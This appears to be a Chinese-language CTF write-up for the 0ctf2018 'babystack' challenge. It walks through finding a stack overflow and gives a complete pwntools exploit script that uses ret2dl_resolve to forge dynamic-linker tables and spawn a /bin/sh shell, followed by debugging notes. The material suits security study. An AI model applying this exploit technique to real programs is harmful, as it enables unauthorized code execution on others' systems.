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订阅专栏

题目：0ctf2018-babystack

1.检查保护机制：

可以看到程序只提供了NX保护。

2.在IDA中进行反编译，发现一个可读的位置，存在栈溢出漏洞，可能可以利用：
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3.使用peda计算read位置的偏移：

得到read位置距离返回地址的偏移为44，比read的长度0x40小，说明栈溢出漏洞可直接被利用。

4.查看文件ELF表

通过elf表中查看得知程序中不存在system函数，无法直接跳转；也不存在输出函数，无法打印got表地址。

5.查看vmmap

通过vmmap可以看到bss段可写，故尝试dl_resolve攻击方式。



6.构造栈

7.编写POC

from pwn import *
name = './babystack'
p = process(name)
elf= ELF(name)
#获取原地址
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80482b0
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481cc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x804822c
resolve_plt = 0x080482F0
leave_ret_addr = 0x08048455
start = 0x804aa00
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align
#构造地址
fake_rel_plt_addr = start                       #0x804aa04
fake_dynsym_addr = fake_rel_plt_addr + 0x8      #0x804aa0c
fake_dynstr_addr = fake_dynsym_addr + 0x10      #0x804aa1c
bin_sh_addr = fake_dynstr_addr + 0x7            #0x804aa23
n = fake_rel_plt_addr - rel_plt_addr            #0x2754
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0x28407
str_offset = fake_dynstr_addr - dynstr_addr                     #0x27f0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"
#构造payload
pay1 = 'a'*40 + p32(start-20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0)  + p32(start - 20) + p32(0x1
00)
p.send(pay1)
pay2 = p32(0) + p32(resolve_plt) + p32(n) +'abcd'+p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.send(pay2)
#成功pwn
p.interactive()



8.运行后成功获取shell

踩坑记录：

1. 在对pay1进行发送时，一开始使用pwntools中的sendline(pay1)，出现了在发送pay2时无法正常被程序正常接收，调试得知
第二次输入程序只接收到一个换行符。

　　因为read的长度为0x40=64，而我构造的pay1刚好也是64个字节，read函数在接收到足够长度的内容之后就会直接开
始进行写入，而多余内容会放在buffer中用于作为下次输入内容的一部分（因为下次输入内容也是先输入到buffer中再被写
入）。我如果使用了sendline方法，则相当于会在buffer里面留下一个换行符，第二次输入时会被输进去。改成send方法就
可以避免这个问题了。

2. 在执行resolve的过程中无法找到正确的dysym表位置。
　　查找资料后整理了整个函数调用的dl_resolve过程，可以看到这查找dysym表时有一个右移8位的操作，所以在选择新
栈地址时要注意字节对齐问题，让dl_fixup能正确找到各个表。
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